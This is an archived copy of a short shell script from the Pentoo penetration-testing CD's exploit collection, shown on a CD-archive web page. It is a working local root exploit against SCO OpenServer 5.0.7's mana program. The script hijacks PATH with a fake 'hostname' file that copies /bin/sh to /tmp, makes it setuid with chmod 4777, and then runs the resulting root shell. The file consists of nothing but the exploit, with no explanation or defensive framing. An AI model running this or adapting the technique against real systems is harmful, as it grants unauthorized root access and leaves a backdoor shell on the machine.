home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / mana-root.sh.1 < prev    next >
Text File  |  2005-02-12  |  298b  |  23 lines

  1. #!/bin/sh
  2. #
  3. # OpenServer 5.0.7 - Local mana root shell
  4. #
  5. #
  6.  
  7. REMOTE_ADDR=127.0.0.1
  8. PATH_INFO=/pass-err.mana
  9. PATH=./:$PATH
  10.  
  11. export REMOTE_ADDR
  12. export PATH_INFO
  13. export PATH
  14.  
  15. echo "cp /bin/sh /tmp;chmod 4777 /tmp/sh;" > hostname
  16.  
  17. chmod 755 hostname
  18.  
  19. /usr/internet/admin/mana/mana > /dev/null
  20.  
  21. /tmp/sh
  22.  
  23.